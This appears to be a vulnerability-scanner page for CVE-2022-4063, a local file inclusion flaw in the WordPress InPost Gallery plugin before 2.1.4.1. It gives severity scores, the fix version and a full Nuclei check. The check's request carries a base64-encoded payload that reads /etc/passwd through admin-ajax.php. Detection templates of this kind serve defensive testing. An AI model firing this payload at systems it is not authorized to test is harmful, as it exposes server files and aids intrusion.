WordPress InPost Gallery <2.1.4.1 - Local File Inclusion

criticalseverity

9.8CVSS score

10.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress InPost Gallery plugin before 2.1.4.1 is susceptible to local file inclusion. The plugin insecurely uses PHP's extract() function when rendering HTML views, which can allow attackers to force inclusion of malicious files and URLs. This, in turn, can enable them to execute code remotely on servers.

Impact

The vulnerability allows an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.

Fix

Fixed in version 2.1.4.1.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJ…
Positive when: contains in header "text/html" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-4063 -u <target>

The full check

id: CVE-2022-4063

info:
  name: WordPress InPost Gallery <2.1.4.1 - Local File Inclusion
  author: theamanrawat
  severity: critical
  description: |
    WordPress InPost Gallery plugin before 2.1.4.1 is susceptible to local file inclusion. The plugin insecurely uses PHP's extract() function when rendering HTML views, which can allow attackers to force inclusion of malicious files and URLs. This, in turn, can enable them to execute code remotely on servers.
  impact: |
    The vulnerability allows an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.
  remediation: Fixed in version 2.1.4.1.
  reference:
    - https://wpscan.com/vulnerability/6bb07ec1-f1aa-4f4b-9717-c92f651a90a7
    - https://wordpress.org/plugins/inpost-gallery/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4063
    - https://github.com/cyllective/CVEs
    - https://github.com/im-hanzou/INPGer
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4063
    cwe-id: CWE-22
    epss-score: 0.10177
    epss-percentile: 0.957
    cpe: cpe:2.3:a:pluginus:inpost_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pluginus
    product: inpost_gallery
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wp,inpost-gallery,lfi,wordpress,unauth,wpscan,pluginus,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ=="

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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